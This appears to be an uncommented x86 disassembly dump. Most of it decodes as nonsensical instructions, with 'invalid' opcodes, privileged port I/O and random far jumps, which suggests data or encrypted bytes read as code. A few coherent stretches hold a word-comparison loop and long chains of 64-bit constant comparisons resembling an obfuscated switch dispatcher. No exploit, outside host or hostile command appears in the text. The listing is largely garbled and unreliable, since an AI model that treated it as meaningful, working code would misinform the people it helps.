adc byte [eax + ebx*8 + 0x58], bh
adc al, 0x6d
pop esi
cmc
push 0x4d0dad90
retf 0xf4fe
wait
dec eax
cmpsd dword [esi], dword es:[edi]
in al, dx
mov dword [edi + 0x369c7895], edx
invalid
xor ecx, esi
ret 0x2328
ret
nop
jmp 0x6832b7a6
nop
add dword [ebp - 0x10], 2
mov eax, dword [ebp - 0x10]
movzx eax, word [eax]
add dword [ebp + 0xc], 2
mov edx, dword [ebp + 0xc]
movzx edx, word [edx]
mov word [ebp - 0xa], dx
cmp word [ebp - 0xa], ax
je 0x682fd1a4
jmp 0x6832b7cb
nop
mov dword [ebp - 0x108], 0x5e5f9
mov dword [ebp - 0x104], 0
mov dword [ebp - 0x110], 0xbf158
mov dword [ebp - 0x10c], 0
mov eax, dword [ebp - 0x104]
imul eax, dword [ebp - 0x110]
mov edx, eax
mov eax, dword [ebp - 0x10c]
imul eax, dword [ebp - 0x108]
lea ecx, [edx + eax]
mov eax, dword [ebp - 0x108]
mul dword [ebp - 0x110]
add ecx, edx
mov edx, ecx
mov dword [ebp - 0x118], eax
mov dword [ebp - 0x114], edx
mov dword [ebp - 0x118], eax
mov dword [ebp - 0x114], edx
mov eax, dword [ebp - 0x118]
xor eax, 0x71397698
mov edx, dword [ebp - 0x114]
xor edx, 0x46
or eax, edx
je 0x68338bb8
mov edx, 0x71397698
mov eax, 0x46
cmp edx, dword [ebp - 0x118]
sbb eax, dword [ebp - 0x114]
jl 0x68338bbb
mov eax, dword [ebp - 0x118]
xor eax, 0xf2b05
or eax, dword [ebp - 0x114]
je 0x6832db5b
mov edx, 0xf2b05
mov eax, 0
cmp edx, dword [ebp - 0x118]
sbb eax, dword [ebp - 0x114]
jl 0x68338bbb
mov eax, dword [ebp - 0x118]
xor eax, 0xf0e94
or eax, dword [ebp - 0x114]
je 0x683338bb
mov edx, 0xf0e94
mov eax, 0
cmp edx, dword [ebp - 0x118]
sbb eax, dword [ebp - 0x114]
jl 0x68338bbb
mov eax, dword [ebp - 0x118]
xor eax, 0xecafd
or eax, dword [ebp - 0x114]
je 0x68330f3b
mov edx, 0xecafd
mov eax, 0
cmp edx, dword [ebp - 0x118]
sbb eax, dword [ebp - 0x114]
jl 0x68338bbb
mov eax, dword [ebp - 0x118]
xor eax, 0xec7c6
or eax, dword [ebp - 0x114]
je 0x6832bc3b
mov edx, 0xec7c6
mov eax, 0
cmp edx, dword [ebp - 0x118]
sbb eax, dword [ebp - 0x114]
jl 0x68338bbb
mov eax, dword [ebp - 0x118]
xor eax, 0xe96ae
or eax, dword [ebp - 0x114]
je 0x683304db
mov edx, 0xe96ae
mov eax, 0
cmp edx, dword [ebp - 0x118]
sbb eax, dword [ebp - 0x114]
jl 0x68338bbb
mov eax, dword [ebp - 0x118]
xor eax, 0xdf56f
or eax, dword [ebp - 0x114]
je 0x6833199b
mov edx, 0xdf56f
mov eax, 0
cmp edx, dword [ebp - 0x118]
sbb eax, dword [ebp - 0x114]
jl 0x68338bbb
mov eax, dword [ebp - 0x118]
xor eax, 0xc024c
or eax, dword [ebp - 0x114]
je 0x68332e5b
mov edx, 0xc024c
mov eax, 0
cmp edx, dword [ebp - 0x118]
sbb eax, dword [ebp - 0x114]
jl 0x68338bbb
mov eax, dword [ebp - 0x118]
xor eax, 0xbe63c
or eax, dword [ebp - 0x114]
je 0x6833623b
mov edx, 0xbe63c
mov eax, 0
cmp edx, dword [ebp - 0x118]
sbb eax, dword [ebp - 0x114]
jl 0x68338bbb
mov eax, dword [ebp - 0x118]
xor eax, 0xbd7fe
or eax, dword [ebp - 0x114]
je 0x6832fa7b
mov edx, 0xbd7fe
mov eax, 0
cmp edx, dword [ebp - 0x118]
sbb eax, dword [ebp - 0x114]
jl 0x68338bbb
mov eax, dword [ebp - 0x118]
xor eax, 0xb9e31
or eax, dword [ebp - 0x114]
je 0x683376fb
mov edx, 0xb9e31
mov eax, 0
cmp edx, dword [ebp - 0x118]
sbb eax, dword [ebp - 0x114]
jl 0x68338bbb
mov eax, dword [ebp - 0x118]
xor eax, 0xb925e
or eax, dword [ebp - 0x114]
je 0x68334d7b
mov edx, 0xb925e
mov eax, 0
cmp edx, dword [ebp - 0x118]
sbb eax, dword [ebp - 0x114]
jl 0x68338bbb
mov eax, dword [ebp - 0x118]
xor eax, 0xaa189
or eax, dword [ebp - 0x114]
je 0x6833815b
mov edx, 0xaa189
mov eax, 0
cmp edx, dword [ebp - 0x118]
sbb eax, dword [ebp - 0x114]
jl 0x68338bbb
mov eax, dword [ebp - 0x118]
xor eax, 0x895f2
or eax, dword [ebp - 0x114]
je 0x6832e5bb
mov edx, 0x895f2
mov eax, 0
cmp edx, dword [ebp - 0x118]
sbb eax, dword [ebp - 0x114]
jl 0x68338bbb
mov eax, dword [ebp - 0x118]
xor eax, 0x83bf3
or eax, dword [ebp - 0x114]
je 0x683323fb
mov edx, 0x83bf3
mov eax, 0
cmp edx, dword [ebp - 0x118]
sbb eax, dword [ebp - 0x114]
jl 0x68338bbb
mov eax, dword [ebp - 0x118]
xor eax, 0x80a9c
or eax, dword [ebp - 0x114]
je 0x6832c69b
mov edx, 0x80a9c
mov eax, 0
cmp edx, dword [ebp - 0x118]
sbb eax, dword [ebp - 0x114]
jl 0x68338bbb
mov eax, dword [ebp - 0x118]
xor eax, 0x6640c
or eax, dword [ebp - 0x114]
je 0x6832d0fb
mov edx, 0x6640c
mov eax, 0
cmp edx, dword [ebp - 0x118]
sbb eax, dword [ebp - 0x114]
jl 0x68338bbb
mov eax, dword [ebp - 0x118]
xor eax, 0x5ede7
or eax, dword [ebp - 0x114]
je 0x6832f01b
mov edx, 0x5ede7
mov eax, 0
cmp edx, dword [ebp - 0x118]
sbb eax, dword [ebp - 0x114]
jl 0x68338bbb
mov eax, dword [ebp - 0x118]
xor eax, 0x472a9
or eax, dword [ebp - 0x114]
je 0x683357db
mov edx, 0x472a9
mov eax, 0
cmp edx, dword [ebp - 0x118]
sbb eax, dword [ebp - 0x114]
jl 0x68338bbb
mov eax, dword [ebp - 0x118]
xor eax, 0x1e6be
or eax, dword [ebp - 0x114]
je 0x6833431b
mov eax, dword [ebp - 0x118]
xor eax, 0x3ea85
or eax, dword [ebp - 0x114]
je 0x68336c9b
jmp 0x68338bbb
in eax, 0xf4
mov ebx, 0x5f074822
imul edx, dword [0x33bf36d6], 0x4e
or eax, 0x20da92cf
pop esi
xor dword [ecx], edi
movsb byte es:[edi], byte [esi]
pushfd
push cs
das
push edx
mov edi, 0xc9f74426
pop ebp
mov bh, 0x15
cdq
insb byte es:[edi], dx
mov esi, dword [edi + ebx*4 - 0x1b]
mov al, byte [0x25a550f1]
in al, 8
invalid
push esi
dec esi
fist word [edi]
push es
mov ah, 0x9f
and al, 0xf1
rol byte [eax - 0x16], cl
push ds
cmc
movsb byte es:[edi], byte [esi]
mov al, byte [0xf45714de]
cmp dl, cl
invalid
rcl cl, 1
mov dh, 0x27
inc eax
cmp dword [ecx + 0x31], esp
inc esi
mov ecx, 0x63c87884
jl 0x6832d0fc
sal dword [esi + 0x61394027], 1
xor dword [esi - 0x47], eax
test byte [eax - 0x38], bh
arpl word [ecx + esi*8 - 0x5e], di
pop es
or bl, ch
jb 0x6832d10a
int1
mov byte [0x72dd0a07], al
stc
rol dword [edx - 0xf8fe027], cl
pop esp
out dx, eax
and eax, 0x484cf6d8
sbb al, 7
push eax
div byte [ebp + 0x7e1e14fa]
mov edx, 0xd3e3c5cf
test dword [edx - 0x6b], esi
inc byte [edi + 0x3e]
pop ds
arpl word [edx - 0x133dd223], si
mov byte [edi - 0x3d], ah
invalid
sub eax, 0xee7ed84b
cld
pop ecx
sub al, 0x86
les esp, [ecx + 0x7acc6e2e]
sub al, 0x37
pop ss
pop edi
adc al, 0x22
cwde
bound esp, qword [ecx]
invalid
jecxz 0x6832e608
or byte [ecx], bl
rcl dword [esi + esi + 0x40], 0xd2
sbb cl, al
daa
test eax, 0xa11f0841
pop ebp
int3
scasd eax, dword es:[edi]
sbb dword [eax - 0x6a], ebx
into
xchg dword [esi], edi
or dword [edi + 0x3213b9c4], esi
clc
daa
sbb al, 0x98
aaa
int1
dec esp
push esp
popal
inc ebx
mov eax, dword [0xf6d3dc95]
pop edi
mov eax, 0x563595e7
das
adc al, 0x59
retf 0x6b4
mov edi, dword [ecx]
stc
or esi, esp
cmp eax, dword [edx - 0x4f]
push ebx
adc al, 0xa9
dec ecx
cmp dh, bh
sbb ecx, dword [ecx + 0x2f]
invalid
cmpsd dword [esi], dword es:[edi]
push 0xffffffffffffffd8
aaa
inc ecx
add eax, 0xd0be36bd
xor byte [edi - 0x77b9352f], bh
out 0x23, al
lodsd eax, dword [esi]
push es
push es
mov eax, dword [0xb4974fa2]
push 0x6d334c97
xor byte [eax], dh
in al, 0x90
or al, 0x2c
cmp dword [edx - 0x58eb9653], 0x34a27dbc
rcl byte [edi], cl
in eax, 0x60
adc ecx, dword [ebp + 0x74]
enter 0xffffffffffffbcd7, 0x47
sub ecx, ebx
inc ebp
scasd eax, dword es:[edi]
invalid
push cs
xor al, 0xf
sal edi, 0x37
aad 0x91
cld
scasb al, byte es:[edi]
salc
adc dword [ecx], 0xffffff8a
lahf
push edx
mov esp, 0xdf45a661
xor eax, 0x5bd6f3c4
xchg edi, eax
in al, 0xa8
sbb ebx, dword [edx]
frstor dword [esi + 0x2a6557dc]
imul eax, dword [ecx - 8], 0xe70ba906
ret
add ah, byte [ecx]
xchg ebp, esi
dec esi
mov ah, 0x19
mov esi, dword [eax - 0x2352ff31]
sahf
inc esp
loope 0x68330476
out dx, al
bound edi, qword [esi]
pop edi
or dword [ecx], 0x1e
mov byte [0x1a06a466], al
and eax, 0xe1e9cc90
xchg byte [eax], al
add byte [esi], ah
call 0x8f2fe9d0
call 0x8f2fe9d0
pop edi
stc
leave
call 0xd1fbdd46
sbb dword [0x733161ed], ebx
jne 0x683304b6
hlt
sbb dword [ebx - 0x4488ba7b], 0x58
cli
mov bl, 0x43
cli
dec ebp
iretd
in al, 0x4d
pushal
mov bl, 0xda
xlatb
hlt
fsub qword [edi + 0x58]
aam 0xf4
aam 0x6e
outsd dx, dword [esi]
sub bl, dh
add eax, 0x66e8c17
movsb byte es:[edi], byte [esi]
cmp ch, byte [edx + edx*2 + 1]
xor byte [edx], al
jge 0x68331959
or byte [edi - 0x368c4088], dl
pop eax
invalid
shl dword [edi], 0
ja 0x683323f7
test byte [ebx], 0x48
xchg ecx, eax
mov eax, dword [0xf7fad62c]
and dword [eax - 0xb], ecx
popal
adc al, 0xe8
imul edx, dword [ebx], 0x67b7d21e
mov cl, 0xae
cdq
lodsb al, byte [esi]
adc eax, 0x4a258e69
aad 0x5f
rcr dword [ebx + 0x675e68ad], 1
pop ecx
pop es
add eax, 0xd271139b
retf 0xa798
add byte [edx + 0x5b75e7f2], bl
pop ebp
out dx, eax
sub dword [ecx + 0x34], 0x47
cmp edx, dword [ebx]
aas
lcall 0x153b, 0x3148dcd6
push ss
stosd dword es:[edi], eax
sbb dh, bl
xchg dword [esi - 0x46306b2b], esi
xor eax, 0xb14c2a83
fstp xword [ebp + 0x72d27408]
fiadd word [edi - 0x306b2a4a]
mov ecx, 0x4c2a8335
mov cl, 0xdb
mov ebp, 0x72d27408
sal byte [edx - 0x5a], cl
cmpsb byte [esi], byte es:[edi]
pop esp
push ds
leave
xor eax, 0xd2f469e7
pushfd
stosb byte es:[edi], al
add esi, edi
mov byte [0xbe7404b5], al
int 0xcb
sbb al, 0x84
xor edi, ecx
fidiv word [ecx - 0x5d8939a8]
cmp dword [eax + 0x64e14051], eax
cmp al, 0xce
in al, 0x4e
xchg dword [edx], ebp
cld
inc edi
jb 0x68332e74
sbb dl, al
clc
mov edx, dword [edx]
add dword [eax], edi
imul ebp, dword [edi + ebx*4], 0xffffffcb
mov ecx, 0xb2d21feb
jle 0x68332f06
dec esi
cmc
cwde
adc al, cl
bound edx, qword [ecx + ebp*4 - 0x3fc9ab38]
stosd dword es:[edi], eax
cmp eax, 0xae0e10e5
daa
aam 0xd7
xor dword [eax + 0x23], eax
movsb byte es:[edi], byte [esi]
ficom dword [ebx]
lodsd eax, dword [esi]
xchg dword [eax + 0x4e051d06], ebx
add eax, 0x54528818
adc dword [esi + 0x6b], ebx
loop 0x68332e84
sub dword [edx + edx*4], 0xffffff8c
aas
daa
enter 0x16ca, 0xffffffffffffff92
sbb ebp, dword [esi]
dec eax
sub dh, byte [esi + 0x7784fa26]
push ss
inc ebx
fbstp tbyte [edi + 0x61]
cmp cl, byte [ebp - 0x536fce80]
jbe 0x68332f47
jb 0x68332f68
mov esi, 0x63fc98e2
push ss
stosd dword es:[edi], eax
inc edi
and byte [esi + ebp*2], ah
mov eax, dword [0x318e26e1]
or al, 0x37
inc edi
nop
loop 0x68332fa0
mov ebx, 0x159c1fad
out 0x6a, eax
fldenv [edi + 0x34]
bound edi, qword [ebx + 0x35]
invalid
pop esi
lodsb al, byte [esi]
das
add ebx, dword [esi + 0xe]
sub eax, 0x1511d32c
xchg esi, eax
pop ecx
nop
int3
adc eax, 0xcc905996
xor dl, ah
and byte [esi - 0x10], dl
mov word [edx], fs
int 0xd0
pop esi
push esp
sub ecx, dword [edx - 8]
sal dword [edx], 1
jecxz 0x68332f3c
adc esi, dword [edi + ebx]
movsd dword es:[edi], dword [esi]
and dword [eax], 0xffffff88
adc byte [edx + 0x3e262d09], cl
xchg ecx, eax
invalid
or dword [0x8c913e26], ebp
mov ah, 0x6d
xchg edx, eax
wait
fiadd dword [ebx]
xchg ebp, eax
in al, 0x32
sbb byte [esi + 0xc], ah
test dword [ebx - 0x37], esp
adc esi, ebx
jecxz 0x68332f1b
xlatb
adc eax, 0x289acfc8
imul ebx, dword [eax*4 + 0x4e5e56cd], 0xa168b1d7
cmpsb byte [esi], byte es:[edi]
loopne 0x68333014
test al, 0xb5
add ch, dh
outsb dx, byte [esi]
xor edi, esp
inc ecx
popal
insb byte es:[edi], dx
mov ebx, 0xd0305cf
ret 0x25aa
iretd
mov dword [0x159b4bc9], 0x2a5cf570
xor ecx, dword [esi + esi*4]
xchg ebx, eax
mov bl, 0xb7
adc byte [ecx + 0x65057780], al
stosb byte es:[edi], al
cmp ch, byte [edi - 0x7584ae66]
fcom qword [ecx]
or byte [ebp + ecx*8 - 0x3fb1049d], 0x5e
nop
int3
pop ebp
inc eax
out dx, eax
mov dword [0x3d20a59a], 0x7f4af356
xchg dword [ebp - 0x40], ebx
cmp eax, 0x6382e1ad
in al, dx
jmp 0x61f86114
invalid
ret 0xe3f1
js 0x683342fa
jb 0x683342a9
xchg esi, eax
inc esp
mov dword [edx], ebx
push ss
xlatb
retf 0x3197
xor dword [ebx + 8], esp
xchg edi, eax
daa
insd dword es:[edi], dx
int 0xbb
dec esp
add eax, 0x1d2b7381
enter 0x567a, 0xffffffffffffffb7
test byte [edx - 0x254b1bb0], bh
lodsb al, byte es:[esi]
lodsb al, byte [esi]
dec esi
shr byte [ebx - 0x29], 1
mov eax, 0xf092c1c
sbb al, 0x2c
or dword [edi], ecx
scasb al, byte es:[edi]
xor eax, 0xe6837fbc
cmp al, 0x40
in eax, 0xb8
jle 0x68334d9b
mov al, byte [0x921ff299]
mov ebx, 0xf58cb637
lds esi, [ecx]
pop ecx
sub dword [edx + edx*8 + 0x72d2134c], 0xffffffee
mov byte [edi - 0x73], al
sbb al, byte [ebp + 0x465a9add]
daa
push esi
sbb dword [ebp + 0x1922eabe], 0xffffffc9
ljmp 0x3f7a
sbb edi, 0xf8acb547
mov dl, 0x95
int3
cmpsb byte [esi], byte es:[edi]
adc eax, 0x1b8bccbd
les ebp, [esi + 0x2b82e52]
sub byte [edx], 0x52
les ebp, [eax]
xchg ebx, eax
mov dword [0xc13a7853], eax
jae 0x683361d9
sub al, 0x5a
inc esp
pop ebp
ret 0xce4b
loope 0x683361da
leave
mov eax, dword [0x9166ddaa]
pop esp
fist dword [ecx - 0x5b]
pop eax
mov cl, 0xfc
mov ah, 0xa1
xchg eax, ebp
adc edi, dword [ebx + 0x5d9445d9]
adc al, 0xb1
sbb dword [esi + 0x37], esi
sbb byte [ecx - 0x2d], ah
mov bh, al
cwde
sti
mov edi, 0xf77a2ad7
inc edi
pushfd
aaa
ret 0x2910
xlatb
mov ah, byte [ecx]
dec eax
frstor dword [edx - 0x54]
imul esi, dword [edx - 0x4b], 0x3f
push ss
and bh, byte [eax - 0x6a]
into
mov ch, 0x88
pop es
mov al, byte [esi - 0x5f49efa]
sti
sub byte [edi], dh
div byte [ebp + 0x74954b55]
and edi, ebx
mov ebp, 0xe6bd7171
adc ebx, dword [ebp - 0x19]
and eax, 0xef09dd31
xor al, 0xb6
sar dword [ecx + 0x16c4dd56], 1
mov ebp, 0xad80caa3
push 0xf64de067
cli
add al, 0xd
xor byte [0xf968b6cc], al
daa
inc ebx
call 0x3c8c12bd
push es
xchg edi, eax
outsd dx, dword [esi]
lahf
xchg esi, eax
and byte [edx + 0x1ae4719b], dl
scasb al, byte es:[edi]
or eax, 0x76e32036
ror byte [eax - 0x170d8ae6], 1
inc eax
daa
mov ch, 0x5a
dec ecx
push edx
xchg ebp, eax
lodsb al, byte [esi]
mov dh, 0xd7
pop esp
aaa
push esi
fmul st(0)
sti
in eax, dx
push edx
xchg ebx, eax
push ss
clc
shl ch, 0xf7
push 0xffffffffffffffde
das
cmp eax, 0xafeb9a0a
int3
iretd
xor eax, eax
mov ebx, dword [esi]
fnop
pop eax
sub dword cs:[eax + edi + 0x7b], ebp
cmpsd dword [esi], dword es:[edi]
xor eax, 0x4ca914d2
xor eax, 0x38b80a5
movsd dword es:[edi], dword [esi]
lds edx, [edi - 0x182da6b7]
lcall 0xa5a5, 0x6f84109b
out 0x99, al
ja 0x6833818d
adc edi, 0x19
into
out 0xb2, al
fdiv st(5), st(0)
xor byte [eax + 0x29], bh
jno 0x683381a5
pop edx
sbb dword [ebx + ebx*4 + 0x21], esp
test eax, 0x6422a2fd
wait
and dword [ecx + 0x6422a2fd], ebp
mov esi, 0x573c6dc4
retf 0xc581
add byte [eax], al
arpl cx, di
cmp edx, ecx
mov eax, dword [esi + 0x5f]
scasb al, byte es:[edi]
mov ebp, 0x78ba4e02
jae 0x683380f7
mov al, byte [edx - 0x6d13e10b]
xor eax, 0xcf4099ad
or al, 0xa4
mov byte [esi + 0x23db7277], cl
xor eax, 0x306b9ad4
das
xor eax, 0x5e4559f3
pop ebp
mov word [eax], es
iretd
les eax, [edi]
pop edx
add eax, 0xf87066dd
xor edi, ebx
das
or dword [eax], esp
insd dword es:[edi], dx
inc esp
jae 0x68338130
pop ss
daa
lodsb al, byte [esi]
dec esp
imul edi, dword [0x53521e45], 0x70526cf8
push eax
push ds
push edx
push ebx
clc
insb byte es:[edi], dx
push edx
jo 0x683381fd
fsub qword ds:[edi + 0x2a]
pop edx
test al, 0xf0
test byte [edi - 0x26753841], ch
pop ebp
and ecx, dword [ebx + 0x72]
sbb dword [edx + edx*4], esp
jo 0x68338159
int3
invalid
nop
jmp 0x68338bbc
nop
mov eax, dword [ebp - 0x9c]
mov dword [ebp + 0xc], eax
cmp word [ebp - 0xa], 0
jne 0x682c4065
mov dword [ebp - 0x150], 0x4a3e7
mov dword [ebp - 0x14c], 0
mov dword [ebp - 0x158], 0x7ddae
mov dword [ebp - 0x154], 0
mov eax, dword [ebp - 0x158]
mov edx, dword [ebp - 0x154]
sub eax, dword [ebp - 0x150]
sbb edx, dword [ebp - 0x14c]
mov dword [ebp - 0x160], eax
mov dword [ebp - 0x15c], edx
mov eax, dword [ebp - 0x160]
xor eax, 0xf0ca6
or eax, dword [ebp - 0x15c]
je 0x6833ada0
mov edx, 0xf0ca6
mov eax, 0
cmp edx, dword [ebp - 0x160]
sbb eax, dword [ebp - 0x15c]
jl 0x68340afd
mov eax, dword [ebp - 0x160]
xor eax, 0x83a36
or eax, dword [ebp - 0x15c]
je 0x6833c260
mov edx, 0x83a36
mov eax, 0
cmp edx, dword [ebp - 0x160]
sbb eax, dword [ebp - 0x15c]
jl 0x68340afd
mov eax, dword [ebp - 0x160]
xor eax, 0x7e859
or eax, dword [ebp - 0x15c]
je 0x6833d720
mov edx, 0x7e859
mov eax, 0
cmp edx, dword [ebp - 0x160]
sbb eax, dword [ebp - 0x15c]
jl 0x68340afd
mov eax, dword [ebp - 0x160]
xor eax, 0x7943e
or eax, dword [ebp - 0x15c]
je 0x6833ebe0
mov edx, 0x7943e
mov eax, 0
cmp edx, dword [ebp - 0x160]
sbb eax, dword [ebp - 0x15c]
jl 0x68340afd
mov eax, dword [ebp - 0x160]
xor eax, 0x5f7d9
or eax, dword [ebp - 0x15c]
je 0x683400a0
mov edx, 0x5f7d9
mov eax, 0
cmp edx, dword [ebp - 0x160]
sbb eax, dword [ebp - 0x15c]
jl 0x68340afd
mov eax, dword [ebp - 0x160]
xor eax, 0x5c3ac
or eax, dword [ebp - 0x15c]
je 0x6833ccc0
mov edx, 0x5c3ac
mov eax, 0
cmp edx, dword [ebp - 0x160]
sbb eax, dword [ebp - 0x15c]
jl 0x68340afd
mov eax, dword [ebp - 0x160]
xor eax, 0x526f8
or eax, dword [ebp - 0x15c]
je 0x6833e180
mov edx, 0x526f8
mov eax, 0
cmp edx, dword [ebp - 0x160]
sbb eax, dword [ebp - 0x15c]
jl 0x68340afd
mov eax, dword [ebp - 0x160]
xor eax, 0x47fe6
or eax, dword [ebp - 0x15c]
je 0x68338e80
mov edx, 0x47fe6
mov eax, 0
cmp edx, dword [ebp - 0x160]
sbb eax, dword [ebp - 0x15c]
jl 0x68340afd
mov eax, dword [ebp - 0x160]
xor eax, 0x3f3ce
or eax, dword [ebp - 0x15c]
je 0x683398e0
mov edx, 0x3f3ce
mov eax, 0
cmp edx, dword [ebp - 0x160]
sbb eax, dword [ebp - 0x15c]
jl 0x68340afd
mov eax, dword [ebp - 0x160]
xor eax, 0x339c7
or eax, dword [ebp - 0x15c]
je 0x68340b00
mov edx, 0x339c7
mov eax, 0
cmp edx, dword [ebp - 0x160]
sbb eax, dword [ebp - 0x15c]
jl 0x68340afd
mov eax, dword [ebp - 0x160]
xor eax, 0x1ada6
or eax, dword [ebp - 0x15c]
je 0x6833b800
mov edx, 0x1ada6
mov eax, 0
cmp edx, dword [ebp - 0x160]
sbb eax, dword [ebp - 0x15c]
jl 0x68340afd
mov eax, dword [ebp - 0x160]
xor eax, 0x4187
or eax, dword [ebp - 0x15c]
je 0x6833a340
mov eax, dword [ebp - 0x160]
xor eax, 0x104ce
or eax, dword [ebp - 0x15c]
je 0x6833f640
jmp 0x68340afd
sal byte [ebx + edx], 1
les ebx, [ebx]
les esp, [esp + eax*8 - 0x507a7e8e]
inc ebp
nop
bound ebp, qword [edx]
ret
aam 0x21
int 0xe8
dec edi
invalid
mov dl, 0x4e
lodsb al, byte [esi]
les edx, [esi - 0x73]
ja 0x68339916
dec ecx
fsub dword [ebx - 0x73f62f9b]
cld
lea edi, [0x290cf35f]
inc edi
xchg ebp, eax
inc esi
jo 0x683398a4
imul edi, dword [ecx], 0x46
xchg ebx, eax
mov edx, 0x2e02ea87
mov fs, word [edi + ebx*8 + 0x24]
xchg edx, eax
invalid
dec ebp
push edi
adc ebx, edi
wait
xchg ebp, eax
mov dword [edx + 0x44], ebx
int 0
invalid
add bl, byte [ecx - 0xb118143]
push ss
sbb dword [edx], esp
or dword [ebx + 0x23], ecx
inc eax
cmp ch, bh
in eax, 0xcd
lahf
mov bh, byte [ebp - 0x61]
cmpsb byte [esi], byte es:[edi]
aad 0x33
cli
adc edx, eax
xchg ebp, eax
mov cl, dh
mov word [esi], fs
stosd dword es:[edi], eax
mov word [eax - 0x2b03ee63], ss
xchg ebp, eax
and al, byte [eax + 0x44]
adc byte [edi + 0x51c5d263], bl
ret
inc ebp
push es
stosd dword es:[edi], eax
int 0x90
int3
popal
pop ebp
add byte [eax], al
and byte [edi - 0x70b1738b], dl
lodsd eax, dword [esi]
lodsb al, byte [esi]
adc al, 0x9b
out 0xb6, al
xchg ecx, eax
fsub st(6), st(0)
sbb byte [eax + ebx*8 + 0x562d9c07], ch
enter 0xffffffffffff8498, 0xc
sub bh, byte [ebx]
mov bl, 0xb3
rcr ebp, 0x23
sub ecx, dword [ebx + 0x414edccf]
and ebp, dword [ebx]
mov ecx, edi
fmul qword [esi + 0x41]
mov ah, byte [eax - 0x3e]
bound esi, qword [bp - 0x66]
jp 0x6833ad95
mov al, 0x7c
pop ds
mov ah, 0x31
jns 0x6833ad9c
test byte [esi], cl
pop ebx
insb byte es:[edi], dx
push edx
shr dword [ebp + 0x59], 0xda
dec esi
xchg dword [ecx], esi
adc dword [edi - 0x5b], esi
nop
or dh, 0x89
push ebp
pop es
dec ecx
xor al, byte [ebx + edi*2 + 0x60]
jns 0x6833ae5c
js 0x6833ad9e
int1
fcomi st(3)
fst dword [ecx - 0x7101fd0b]
mov bl, 0x8d
adc byte [0x80abb134], ch
lea ebx, [ebx + 0x6bfdf73a]
inc edx
mov ebp, 0x7efd8e65
add esi, dword [edx]
sbb eax, 0xa6589979
adc ch, byte [edx]
in eax, 0xc9
fstp xword [ebx]
sar dl, 1
and ch, byte [esp + ecx - 0x25]
inc esi
in al, 0x4f
adc eax, 0xf446816f
jge 0x6833ae13
invalid
xor byte [edx], 0xa0
jg 0x6833adc1
lcall 0xfb3b, 0xdd98f53
bound eax, qword [esi + 0x16]
test al, 0x17
ljmp 0x8d8d
inc eax
outsb dx, byte [esi]
cmp ah, byte [ecx]
cli
pop edi
popfd
sub al, 0xab
lahf
mov bl, 0xdd
xchg esp, esp
retf
ret 0x769e
pop esp
lodsd eax, dword [esi]
ljmp 0xf0c3
lds ecx, [edi + 0x796b840c]
fstp xword [esp + ebp]
jmp 0x6833b71a
pop ss
dec ebx
jae 0x6833b789
cmp ecx, dword [eax]
xor al, 0x39
xlatb
lodsd eax, dword [esi]
add esi, dword [esi]
push ebx
loope 0x6833b763
hlt
xchg ecx, eax
pop ebx
cwde
idiv byte [eax - 0x4c]
imul edi, dword [eax], 0xffffffb2
add ecx, dword [edi + esi + 0x3f]
pop ecx
loope 0x6833b878
cmc
les edx, [ecx - 0x23970bba]
call 0xc6136d70
jne 0x6833b89c
lds ebp, [ecx - 0x2f]
loop 0x6833b853
aaa
mov ch, byte [edx - 0x4974bac5]
out dx, eax
dec ecx
mov dword [0xd6219e7e], ebx
jle 0x6833b7ce
and esi, edx
pop esi
and byte [ebx], ch
imul edi, dword [ecx*2 - 0x71d458e1], 0x2c
pop ss
je 0x6833b838
pop ds
cmpsd dword [esi], dword es:[edi]
sub ecx, dword [esi - 0x78be8d4]
das
leave
lodsb al, byte [esi]
cmc
cmp al, cl
enter 0xffffffffffffe95d, 0x26
or bh, ch
stosd dword es:[edi], eax
dec cl
cmp byte [eax], bh
jmp 0x6833b82e
mov dword [0x7f51a58], eax
dec byte [ebp + 0x4a]
ret 0xd354
cmp ch, cl
shr dword [ebx + ebx + 2], 1
or ch, byte [0xdd8ec719]
sub al, 0x9d
or dh, byte [edi + 0x7f8f243b]
xchg dh, bl
add ecx, ebp
sub dh, byte [ebp + 0x7b0af38f]
aam 0xbf
call 0x2bd398d2
popal
mov dword [0x794d572d], eax
int1
invalid
lahf
ret
loopne 0x6833c2a3
das
clc
xchg esi, eax
xchg ecx, eax
cmpsb byte [esi], byte es:[edi]
cmp eax, 0x36a62e63
rol dword [edx - 6], 0xc7
push edi
mov ch, 0x5a
jne 0x6833c2ae
xor edi, esi
fsub qword [ecx]
add bh, ch
test al, 0xd6
outsb dx, byte [esi]
ljmp 0x5eb0
pop edi
mov gs, edi
cmp dl, byte [edi]
stc
shl dword [eax + edi*4 - 0x43], 0xc
sahf
cmpsb byte [esi], byte es:[edi]
mov dh, 0xeb
inc esi
add byte [edi + 0x1b9f47fd], cl
and edi, dword [ecx]
lea ebx, [edi + 0xa]
jmp 0x6833c230
adc eax, edi
dec ecx
sub al, 0x57
mov dh, byte [ebx - 0x9f196c5]
stosb byte es:[edi], al
pop ebx
pop ebp
dec ebx
lds edx, [edx - 0x1366cb22]
jmp 0x6833c2a3
add ch, byte cs:[ebp - 0x6f]
mov eax, 0xa2a7a79
dec edi
dec ebp
sbb ah, ch
stc
scasd eax, dword es:[edi]
inc eax
sub dword [ecx + 0x6d1f684e], ebx
sub eax, 0xbdee4845
mov eax, dword [0x85d8c10a]
mov edi, 0xa2bc162b
or al, byte [ebx + edi*2 + 0x1c]
leave
and dword [esp + edx*2 - 0x28], edi
out dx, eax
cld
mov ebp, 0xa2c0628d
popal
aad 0x4a
cwde
adc byte [esi - 0x18a44957], dh
stosb byte es:[edi], al
push ds
mov edi, 0x867632e7
in eax, 0xcf
std
push es
or ah, byte fs:[ebx]
jbe 0x6833cd79
stc
sub ebp, dword [edx]
xchg ebp, eax
loopne 0x6833cd01
push ds
xchg byte [eax], dl
mov al, 0x35
sal byte [edi + 0x115ebd0d], cl
push eax
bound esi, qword [edi]
ret 0xbf5b
mov dl, 0xc4
call 0x9a9e95b6
sbb dword [ebp + 3], eax
mov al, 0x92
mov ah, 0x9c
xor byte [ecx], 0xb5
push cs
les ebp, fs:[ebx + 0x1d84ab4a]
dec edi
sbb byte [edx + 0x5a], ch
or al, 0xcd
xor byte [0x7cd665b8], cl
je 0x6833cdd7
push eax
sbb al, 0x21
invalid
xchg dword [edx - 0x704028ab], ebp
out dx, eax
int 0xc8
rcr ah, 0xb
enter 0xffffffffffffdcc0, 0xb
bound edx, qword [ecx]
and dword [edi + 0x48], 0x3b
cmovp ebx, dword [esi + 0x2d]
stosd dword es:[edi], eax
pop ebx
jno 0x6833cdcf
mov dword [eax], ebp
xor esi, dword [esi]
mov ch, 0xe5
push ds
daa
retf 0xef03
